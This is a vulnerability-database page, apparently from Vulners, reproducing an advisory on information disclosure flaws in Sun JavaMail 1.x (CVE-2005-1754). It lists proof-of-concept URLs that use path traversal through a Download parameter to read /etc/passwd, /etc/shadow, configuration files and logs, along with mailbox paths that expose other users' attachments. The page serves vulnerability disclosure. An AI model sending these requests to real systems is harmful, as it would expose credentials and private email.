Vulners
Lucene search
Sun JavaMail 1.x - Multiple Information Disclosure Vulnerabilities
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-2005-1754 | 21 May 200616:00 | – | cve |
 | CVE-2005-1754 | 21 May 200616:00 | – | cvelist |
 | CVE-2005-1754 | 31 Dec 200505:00 | – | nvd |
 | PT-2005-2726 · Oracle +1 · Javamail Api +1 | 31 Dec 200500:00 | – | ptsecurity |
| PT-2019-4683 · Apache +3 · Apache Tomcat +3 | 12 Apr 201900:00 | – | ptsecurity |
| PT-2021-5289 · Apache +2 · Apache Tomcat +2 | 6 Oct 202100:00 | – | ptsecurity |
source: https://www.securityfocus.com/bid/13753/info
Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported:
A remote attacker may reveal the contents of email attachments of other users.
A remote attacker may download and peruse arbitrary files with the privileges of the affected service.
A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks.
First issue:
http://example.com/mailboxesdir/[email protected]/
http://example.com/mailboxesdir/[email protected]/
Second issue:
http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml
http://example.com/Download?/var/serviceprovider/web/login.jsp
http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp
http://example.com/Download?/var/serviceprovider/web/addbook.jsp
http://example.com/Download?/var/serviceprovider/web/compose.jsp
http://example.com/Download?/var/serviceprovider/web/folder.jsp
http://example.com/Download?/etc/passwd
http://example.com/Download?/etc/shadow
http://example.com/Download?/etc/group
http://example.com/Download?/var/log/boot.log
http://example.com/Download?/var/log/maillogData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 May 2013 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 25
EPSS0.0284